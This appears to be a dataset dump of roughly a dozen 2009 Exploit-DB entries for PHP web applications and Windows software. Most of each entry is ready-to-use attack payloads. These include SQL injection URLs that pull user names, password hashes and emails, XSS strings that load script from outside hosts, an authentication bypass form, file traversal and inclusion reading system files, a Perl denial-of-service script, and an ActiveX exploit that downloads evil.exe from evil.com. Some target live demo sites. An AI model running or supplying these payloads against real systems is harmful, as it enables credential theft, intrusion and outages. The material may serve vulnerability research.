QLWD/code_shield huggingface dataset:
标题: phpmysport 1.4 - Cross-Site Scripting / SQL Injection EDB-ID: 8204 CVE: 2010-1109 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-12 漏洞利用脚本: #####################################################################
#  + PhpMySport v. 1.4 Multiple Remote Vulnerabilities (XSS\SQL) +  #
#       ~ Discovered by XaDoS - xados [at] hotmail [dot] it ~       #
#                      ~ Th4nKs AlpHaNiX ~                          #
#####################################################################

-Product site: http://phpmysport.sourceforge.net
-Version vuln: 1.4(latest) and maybe <

[+] COD3:

The code vuln is at page /member_list.php (SQL)
and many others for (XSS) like
                        /index.php (v3/4/5/6)

[+] EXPLoIt:


>>[$QL]<<

The bug is on the search_member page of this script
Yuo can write some bad sql code for see tha MD5 encrypted password ant name and other of the users..Example:

http://www.example.com/index.php?r=membre&v1=member_list

write in a search_member form:

-999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#

Now yuo can see the name, password and e-mail of users in the order:

name:password:email

Yuo can also see other informations like description, date of connection,country_id, sex, level_id, lastname, date of birth etc..

(this form is vuln to XSS.. try to inject javaScript ;-))



>>[XSS]<<

There are some pages vuln..
for example

http://www.example.com/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=[XSS]

[XSS] = "><script>alert(document.cookie)</script>
        or
        "><script src="http://www.badsite.com/page.js"></script>


########::D&m0::########

[SQL]:

http://olmobasket.altervista.org/phpmysport/index.php?r=membro&v1=member_list

Write in the search_member form the right query:

-999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#

Yuo will see the name:password:email of victims

[XSS]:

http://phpmysport.sourceforge.net/demo/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cscript%20src=http://www.securitycode.it/x.js%3E%3C/script%3E

#############
/.end

"They danced down the streets like dingledodies, and I shambled after as I've been doing all my life after people who interest me, because the only people for me are the mad ones, the ones who are mad to live, mad to talk, mad to be saved, desirous of everything at the same time, the ones who never yawn or say a commonplace thing, but burn, burn, burn like fabulous yellow roman candles exploding like spiders across the stars and in the middle you see the blue centerlight pop and everybody goes "OHooooo!"

<3 Beat Generation (or Byte generation ;-))

# milw0rm.com [2009-03-12] URL: https://www.exploit-db.com/exploits/8204
标题: PHP-Fusion Mod Book Panel - 'bookid' SQL Injection EDB-ID: 8186 CVE: 2009-4889 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-09 漏洞利用脚本: /+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\
+                                                                                                                       +
+  |----------------------------------------------------------------|                                                   +
+  | PHP-Fusion Mod - Book Panel Remote SQL Injection Vulnerability |                                                   +
+  |----------------------------------------------------------------|                                                   +
+                                                                                                                       +
+   [-] ...Cos co robie z czystej pasji, cos co lubie i czym sie fascynuje :-)                                          +
+                                                                                                                       +
+  |--------------------------------|                                                                                   +
+  | Author: elusiven from Poland ! |                                                                                   +
+  | Contact: elusivenpl@gmail.com  |                                                                                   +
+  | Greetings: Fusi0n Group        |                                                                                   +
+  |--------------------------------|                                                                                   +
+                                                                                                                       +
+   Exploit:                                                                                                            +
+                                                                                                                       +
+   http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users--         +
+   http://site.com/[path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_password,4,5,6+from+fusion_users--     +
+                                                                                                                       +
\+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/

/join #wyjadacze on irc.quakenet.org

# milw0rm.com [2009-03-09] URL: https://www.exploit-db.com/exploits/8186
标题: phpCommunity 2.1.8 - SQL Injection / Directory Traversal / Cross-Site Scripting EDB-ID: 8185 CVE: 2009-4886 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-09 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: phpCommunity 2
[+] Version: 2.1.8
[+] Website: http://sourceforge.net/projects/phpcommunity2/

[+] Bugs: [A] Multiple SQL Injection
          [B] Directory Traversal
          [C] Reflected XSS

[+] Exploitation: Remote
[+] Date: 07 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


This web application presents several vulnerabilities
which can be exploited to obtain reserved information.
The following are examples of vulnerabilities 
discovered in this application.


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: module/forum/class_forum.php
                   module/forum/class_search.php

This bug allows a guest to view username and
password of a registered user.


- [B] Directory Traversal

[-] Requisites: none
[-] File affected: module/admin/files/show_file.php,
                   module/admin/files/show_source.php

This bug allows a guest to read arbitrary files and 
directory on the web server.


- [C] Reflected XSS

[-] Requisites: none
[-] File affected: templates/1/login.php


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=1&forum_id=-1' UNION ALL SELECT 1,2,CONCAT(nick, 0x3a, pwd),4,5,6,7,8 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=forum&s=2&forum_id=0&topic_id=-1' UNION ALL SELECT GROUP_CONCAT(CONCAT(nick, 0x3a, pwd)) FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=id&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=nick&wert=-1%25" UNION ALL SELECT CONCAT(nick, 0x3a, pwd),2 FROM com_users%23

http://www.site.com/path/index.php?n=guest&c=0&m=search&s=forum&wert=-1%25" UNION ALL SELECT 1,2,3,4,CONCAT(nick, 0x3a, pwd),6 FROM com_users%23


- [B] Directory Traversal

http://www.site.com/path/module/admin/files/show_file.php?file=../../../../../../../../etc/passwd

http://www.site.com/path/module/admin/files/show_source.php?path=/etc


- [C] Reflected XSS

http://www.site.com/path/templates/1/login.php?msg=<script>alert('XSS');</script>


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-09] URL: https://www.exploit-db.com/exploits/8185
标题: woltlab burning board 3.0.x - Multiple Vulnerabilities EDB-ID: 8183 CVE: 2008-7192 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-09 漏洞利用脚本: +---------------------------------------------------------------------------+
| Woltlab Burning Board 3.0.x Multiple Remote Vulnerabilities               |
+---------------------------------------------------------------------------+
| by Juri Gianni aka yeat - staker[at]hotmail[dot]it                        |
| thanks to s3rg3770                                                        |
+---------------------------------------------------------------------------+

# Vulnerabilities: BBCode IMG / XSS / Delete PM / Full Path Disclosure / URL Redirection


# BBCode IMG Tag Script Injection
# [img]http://[host][/img]


# Delete Private Messages (BBCode IMG Tag Script Injection)

# Insert into a (forum message/private message/your signature) the code below:
# [img]http://[host]/[path]/wbb/index.php?page=PM&action=delete&pmID=[ID]&folderID=0[/img]
# The fake image doesn't show errors.


# Cross Site Scripting 

# http://[host]/[path]/wcf/acp/dereferrer.php?url=javascript:alert("Example");
# you can bypass the magic_quotes_gpc with String.FromCharCode function.


# URL Redirection

# http://[host]/[path]/wcf/acp/dereferrer.php?url=http://[host]
# http://[host]/[path]/wbb/?page=ThreadAction&action=deleteAll&boardID=1&url=[local URL]


# Full Path Discloscure 

# http://[host]/[path]/wbb/index.php?page=[]
# it works on < 3.0.8 version only.

# milw0rm.com [2009-03-09] URL: https://www.exploit-db.com/exploits/8183
标题: PHPRecipeBook 2.24 - 'base_id' SQL Injection EDB-ID: 8182 CVE: 2009-4883 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-09 漏洞利用脚本: [+] PHPRecipeBook 2.24 (_id)Remort SQL Injection Vulnerability
[-] 
[+] Discovered By d3b4g 
[+] script: http://phprecipebook.sourceforge.net/demo/phprecipebook/                 
[+] Greetz :  str0ke | Inerd | & friends
[-] Follow me on twitter www.twitter.com/schaba


About:
------>
PHPRecipeBook is a Web-based cookbook with the 
ability to create shopping lists from recipes selected.
The lists can be saved and later reloaded and edited. 
The shopping list also attempts to combine similar items
so that duplication does not occur. 



/* start

0x1 

Proof of concept 
-------------------------------------

Exploit:http:localhost.com[path]index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--

Demo:1 http://phprecipebook.sourceforge.net/demo/phprecipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--

Demo:2 http://recipes.casetaintor.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--


/* end

-------------------------------------
From Tiny Little island of Maldivies 
-------------------------------------

# milw0rm.com [2009-03-09] URL: https://www.exploit-db.com/exploits/8182
标题: isiAJAX 1 - 'praises.php?id' SQL Injection EDB-ID: 8167 CVE: 2009-0881 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-06 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################
 #  [ isiAJAX v1 ]   SQL Injection Vulnerability   #
 ###################################################
 # 
 # Script: "isiAJAX v1"
 #
 # Script site: http://isiajax.sourceforge.net/
 # Download: http://sourceforge.net/project/showfiles.php?group_id=169754
 #
 # [SQL] Vuln: http://site.com/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()--
 #             http://isiajax.sourceforge.net/demos/practicos/busqueda/paises.php?id=-1+UNION+SELECT+1,CONCAT_WS(char(58),id,nombre,apellidos,id_pais,edad,telefono,email)+from+usuarios--
 #
 # Bug: ./isiAJAX/ejemplo/paises.php (linez: 10-14)
 #
 # ...
 # $paise = mysql_query("SELECT id, nombre FROM pais WHERE id_continente=$_GET[id]", $conexion);     // 
 # while ($paises = mysql_fetch_row($paise)) {                                              //  SQL inj.
 # ?> <option value="<?=$paises[0];?>"><?=$paises[1];?></option>                                    //
 # <?
 # }
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-03-06] URL: https://www.exploit-db.com/exploits/8167
标题: celerbb 0.0.2 - Multiple Vulnerabilities EDB-ID: 8161 CVE: 2009-0853 2009-0852 2009-0851 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-05 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: CelerBB
[+] Version: 0.0.2
[+] Website: http://celerbb.sourceforge.net/

[+] Bugs: [A] Multiple SQL Injection
          [B] Information Disclosure
          [C] Authenticaion Bypass

[+] Exploitation: Remote
[+] Date: 05 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewforum.php, viewtopic.php

This bug allows a guest to view username and
password list.


- [B] Information Disclosure

[-] Requisites: none
[-] File affected: showme.php

This bug allows a guest to view reserved
information of any user.


- [C] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php

This bug allows a guest to bypass authentication.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/viewforum.php?id=-1' UNION ALL SELECT 1,2,GROUP_CONCAT(CONCAT(username, 0x3a, password)),4,5,6,7,8 FROM celer_users%23

http://www.site.com/path/viewtopic.php?id=1' UNION ALL SELECT 1,2,3,NULL,5,6,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL FROM celer_users%23


- [B] Information Disclosure

http://www.site.com/path/showme.php?user=admin


- [C] Authentication Bypass

<html>
  <head>
    <title>CelerBB 0.0.2 Authentication Bypass Exploit</title>
  </head>
  <body>
    <form action="login.php" method="POST">
      <input type="hidden" name="Username" value="admin'#">
      <input type="submit" value="Exploit">
    </form>
  </body>
</html>


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-05] URL: https://www.exploit-db.com/exploits/8161
标题: OneOrZero Helpdesk 1.6.5.7 - Local File Inclusion EDB-ID: 8168 CVE: 2009-0886 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-06 漏洞利用脚本: :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #############################################################################
 #  [ OneOrZero Helpdesk <= 1.6.5.7 ]   Local File Inclusion Vulnerability   #
 #############################################################################
 # 
 # Script: "OneOrZero Helpdesk and Task Management System is a powerful enterprise helpdesk system
 #          used by companies and groups large and small to manage information and requests in their organization. "
 #
 # Script site: http://www.oneorzero.com/
 # Download: http://www.oneorzero.com/index.php?controller=main_general&option=main_downloads
 #
 # [LFI] Vuln: http://site.com/oozv1657/common/login.php?default_language=../../../../../../../../../../etc/passwd%00
 #      
 # Bug: ./oozv1657/common/login.php (line: 104)
 #
 # ...
 # // require_once "../common/common.php";
 # if (eregi("supporter", $_SERVER[PHP_SELF]) || eregi("admin", $_SERVER[PHP_SELF]))
 #     require_once "../lang/$default_language.lang.php";
 # else
 #     require_once "lang/$default_language.lang.php";       // LFI (register_globals = On, magic_quotes_gpc = Off)
 # ...   
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-03-06] URL: https://www.exploit-db.com/exploits/8168
标题: nForum 1.5 - Multiple SQL Injections EDB-ID: 8170 CVE: 2009-0882 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-09 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: nForum
[+] Version: 1.5
[+] Website: http://sourceforge.net/projects/nforum/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 06 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and 
the password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-09] URL: https://www.exploit-db.com/exploits/8170
标题: Blue Eye CMS 1.0.0 - Remote Cookie SQL Injection EDB-ID: 8165 CVE: 2009-0883 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-06 漏洞利用脚本: #
# BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability
# found by ka0x <ka0x01[alt+64]gmail.com>
# 

Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar
need magic_quotes_gpc = Off

- Vuln code:

10: if (!empty($_COOKIE["BlueEyeCMS_login"])) {  // --> Only??
11:  $c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean??
12:  $c_pass = $_COOKIE["BlueEyeCMS_pass"];
13:  $c_key = $_COOKIE["BlueEyeCMS_key"];
.... 
16:         $table = $db_prefix."users";
17:         $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN
18:           $rows = mysql_num_rows($query); -> num rows of the query
19:           $result = mysql_fetch_array($query);
....
21:       if ($rows == 1) { // -> check if exists one row..
22:        $logged = $c_login;
23:        $logged_id = $result['id'];
24:       }
....
204:        <img src=\"themes/".$theme."/images/dots.png\">&nbsp;&nbsp;Logged as: ".$logged." (ID: ".$logged_id.")<br>


- Proof Of Concept:
javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/";

# -EoF- #

# milw0rm.com [2009-03-06] URL: https://www.exploit-db.com/exploits/8165
标题: Yaws < 1.80 - Multiple Headers Remote Denial of Service Vulnerabilities EDB-ID: 8148 CVE: 2009-0751 类型: DOS 平台: MULTIPLE 发布日期: 2009-03-03 漏洞利用脚本: #!usr/bin/perl -w

#######################################################################################
#   Yaws before 1.80 allows remote attackers to cause a denial of service (memory
#   consumption and crash) via a request with a large number of headers.
#   Refer:
#        http://yaws.hyber.org/
#        https://www.securityfocus.com/bid/33834/discuss
#        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0751
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Blog:       http://www.darshanams.blogspot.com/
#        Date:      03rd March, 2009
#        Site:       http://www.evilfingers.com/
#
###Thanx to str0ke, milw0rm, Manuel Duran Aguete, @rp m@n, and all the Security Folks###
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Yaws Server(not domain): \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 80;

$sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";


$headers="Date: Tue, 03 Mar 2009 15:17:53 GMT\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Language: en\r\n".
"Content-Type: text/html; charset=utf-8\r\n".
"Expires: Thu, 05 Mar 2009 15:17:53 GMT\r\n".
"Cache-Control: no-cache\r\n".
"Content-Encoding: gzip\r\n".
"Retry-After: 100\r\n";
print "\nHeaders are:\n$headers";

$i=0;
while($i<=13)    #this is just a PoC
{
$headers=$headers.$headers;
$i++;
}
print "\nHeaders are:\n$headers";
$yaws_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
$headers.
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";
sleep(3);
print $sock_http $yaws_attack;
sleep(2);
print"\nRequest with large number of Headers sent...\n";

close($sock_http);

# milw0rm.com [2009-03-03] URL: https://www.exploit-db.com/exploits/8148
标题: Easy File Sharing Web Server 4.8 - File Disclosure EDB-ID: 8155 CVE: 2009-4809 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-04 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Easy File Sharing Web Server File Disclouse Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Program:  Easy File Sharing Web Server
Version:  4.8
Download: http://www.sharing-file.com/efssetup.exe
Found by Mountassif Moad
www.v4-team.com

-- Bug --
Exploit :

http://127.0.0.1/disk_c/thumbnail.ghp?vfolder=../../.././/./../../boot.ini
if you have a hard disk like d or f you change disk_c by disk_d or disk_f some host dont have this
and if dont work in first test try to register and test another time
Tested on win xp SP 2 fr

# milw0rm.com [2009-03-04] URL: https://www.exploit-db.com/exploits/8155
标题: Imera ImeraIEPlugin - ActiveX Control Remote Code Execution EDB-ID: 8144 CVE: 2009-0813 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-03 漏洞利用脚本: Who:
 Imera(http://www.imera.com)
 Imera TeamLinks Client(http://teamlinks.imera.com/install.html)

What:
 ImeraIEPlugin.dll
 Version 1.0.2.54
 Dated 12/02/2008
 {75CC8584-86D4-4A50-B976-AA72618322C6}
 http://teamlinks.imera.com/ImeraIEPlugin.cab

How:
 This control is used to install the Imera TeamLinks Client
package. The control fails to validate the content that it is to
download and install is indeed the Imera TeamLinks Client software.

Exploiting this issue is quite simple, like so:

<object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
id="obj">
 <param name="DownloadProtocol" value="http" />
 <param name="DownloadHost" value="www.evil.com" />
 <param name="DownloadPort" value="80" />
 <param name="DownloadURI" value="evil.exe" />
</object>

Fix:
 The vendor has been notified.

Workaround:
 Set the killbit for the affected control, see
http://support.microsoft.com/kb/240797.
Use the Java installer for TeamLinks Client or install the software
manually from: http://teamlinks.imera.com/download.html

Elazar

# milw0rm.com [2009-03-03] URL: https://www.exploit-db.com/exploits/8144